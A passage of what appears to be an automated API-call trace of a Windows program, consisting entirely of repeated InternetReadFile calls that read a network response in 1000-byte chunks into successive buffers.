dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3350218*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3350600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3350600*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33509e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33509e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3350dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3350dd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33511b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33511b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33515a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33515a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3351988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3351988*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3351d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3351d70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352158*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352540*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352928*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.949] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3352d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3352d10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33530f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33530f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33534e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33534e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33538c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33538c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3353cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3353cb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354098*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354480*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.952] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354868*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.953] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3354c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3354c50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.953] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355038*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.955] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355420*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.956] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355808*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.956] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355bf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355bf0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.957] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3355fd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3355fd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.957] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33563c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33563c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.957] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33567a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33567a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.957] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3356b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3356b90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.957] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3356f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3356f78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.958] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357360*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.958] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357748*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.958] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357b30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.959] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3357f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3357f18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.959] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3358300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3358300*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.959] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33586e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33586e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.959] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3358ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3358ad0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.959] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3358eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3358eb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.959] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33592a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33592a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.960] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3359688, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3359688*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.960] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3359a70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3359a70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3359e58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3359e58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335a240, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335a240*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335a628, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335a628*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335aa10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335aa10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.961] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335adf8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335adf8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.962] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335b1e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335b1e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.962] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335b5c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335b5c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.962] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335b9b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335b9b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.962] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335bd98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335bd98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.962] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335c180, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335c180*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.963] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335c568, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335c568*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.963] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335c950, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335c950*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.963] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335cd38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335cd38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.963] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335d120, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335d120*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.964] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335d508, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335d508*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.964] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335d8f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335d8f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.964] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335dcd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335dcd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.964] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335e0c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335e0c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.965] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335e4a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335e4a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.965] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335e890, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335e890*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.965] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335ec78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335ec78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.965] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335f060, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335f060*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.965] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335f448, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335f448*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335f830, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335f830*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x335fc18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x335fc18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3360000, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3360000*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.966] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33603e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33603e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.969] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33607d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33607d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.970] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3360bb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3360bb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.970] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3360fa0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3360fa0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.970] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361388, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361388*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.971] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361770, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361770*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.971] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361b58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361b58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.971] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361f40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361f40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.971] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3362328, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3362328*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.972] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3362710, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3362710*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.972] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3362af8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3362af8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.972] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3362ee0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3362ee0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.972] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33632c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33632c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.972] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33636b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33636b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.974] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3363a98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3363a98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.974] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3363e80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3363e80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.975] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3364268, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3364268*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.975] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3364650, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3364650*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.975] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3364a38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3364a38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.975] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3364e20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3364e20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.975] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3365208, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3365208*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.976] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33655f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33655f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.976] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33659d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33659d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.976] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3365dc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3365dc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.977] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33661a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33661a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.977] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3366590, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3366590*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.977] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3366978, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3366978*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.977] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3366d60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3366d60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.977] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3367148, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3367148*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.978] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3367530, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3367530*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.978] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3367918, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3367918*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.978] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3367d00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3367d00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.979] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33680e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33680e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.979] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33684d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33684d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.979] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33688b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33688b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.979] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3368ca0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3368ca0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.979] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3369088, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3369088*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.980] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3369470, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3369470*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.980] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3369858, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3369858*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.980] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3369c40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3369c40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.980] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336a028, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336a028*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.980] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336a410, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336a410*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.981] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336a7f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336a7f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.981] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336abe0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336abe0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.981] InternetReadFile (in: 